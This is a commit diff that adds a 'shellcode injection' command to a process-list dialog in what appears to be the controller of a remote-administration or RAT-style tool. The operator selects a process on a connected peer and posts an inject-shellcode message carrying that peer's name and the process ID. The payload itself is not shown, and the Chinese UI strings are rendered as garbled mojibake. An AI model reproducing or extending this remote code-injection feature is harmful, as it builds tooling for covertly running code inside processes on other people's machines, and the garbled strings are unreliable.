Feature: Add shellcode injection feature for process management
This commit is contained in:
@@ -23,6 +23,7 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||
{
|
||||
m_pParent = pParent;
|
||||
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||
}
|
||||
|
||||
@@ -50,6 +51,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_COMMAND(ID_WLIST_RECOVER, &CSystemDlg::OnWlistRecover)
|
||||
ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax)
|
||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -454,3 +456,31 @@ void CSystemDlg::OnSize(UINT nType, int cx, int cy)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<C3BF><D8BC><EFBFBD>С
|
||||
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnPlistInject()
|
||||
{
|
||||
CListCtrl* ListCtrl = NULL;
|
||||
if (m_ControlList.IsWindowVisible())
|
||||
ListCtrl = &m_ControlList;
|
||||
else
|
||||
return;
|
||||
|
||||
if (ListCtrl->GetSelectedCount() != 1)
|
||||
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
|
||||
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD>64λ) <20><><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>?\n<EFBFBD>˲<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>̱<EFBFBD><EFBFBD><EFBFBD>!",
|
||||
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
|
||||
return;
|
||||
|
||||
DWORD dwOffset = 1, dwProcessID = 0;
|
||||
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
|
||||
if (Pos) {
|
||||
int nItem = ListCtrl->GetNextSelectedItem(Pos);
|
||||
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
|
||||
dwProcessID = data->ID;
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
ASSERT(m_pParent);
|
||||
m_pParent->PostMessageA(WM_INJECT_SHELLCODE, (WPARAM)new std::string(m_ContextObject->PeerName), dwProcessID);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user